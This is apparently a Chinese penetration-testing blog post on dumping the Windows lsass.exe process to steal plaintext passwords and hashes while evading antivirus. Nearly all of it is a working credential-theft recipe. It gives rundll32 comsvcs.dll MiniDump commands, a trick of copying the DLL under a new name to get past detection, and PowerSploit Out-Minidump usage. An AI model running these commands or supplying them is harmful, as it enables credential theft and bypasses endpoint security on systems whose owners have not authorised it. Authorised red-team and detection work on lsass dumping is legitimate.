在渗透测试中,最常用的方法是通过dump进程lsass.exe,从中获得明文口令和hash,今天分享两个免杀转储lsass方式,目前亲测可过某60 or 某绒。
第一种:
comsvcs.dll,系统自带。
在原理上都是使用API MiniDumpWriteDump,通过comsvcs.dll的导出函数MiniDump实现dump内存。
BOOL MiniDumpWriteDump( HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
注意权限的问题:
在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态。
这里直接在cmd下执行rundll32的命令尝试dump指定进程内存文件时,由于无法开启SeDebugPrivilege权限,所以会失败。
解决方式:
管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为Enabled
可以通过powershell执行rundll32的命令实现。
首先查看lsass.exe进程PID:
命令格式:
rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full
直接利用发现会被拦截:
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 564 lsass.dmp full
简单的绕过思路:
copy一下comsvcs.dll并命名为随意名字,例如tubai.dll
copy C:\windows\System32\comsvcs.dll tubai.dllrundll32.exe tubai.dll, MiniDump 564 lsass.dmp full
如图,成功转储了lsass
第二种:
PowerSploit 的一个模块Out-MiniDump是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。
导入
Import-Module Out-MiniDump
执行
Get-Process lsass | Out-Minidump
总结:
转储姿势很多,应该一起向编写一个程序来手动转储 LSASS 进程才是硬道理。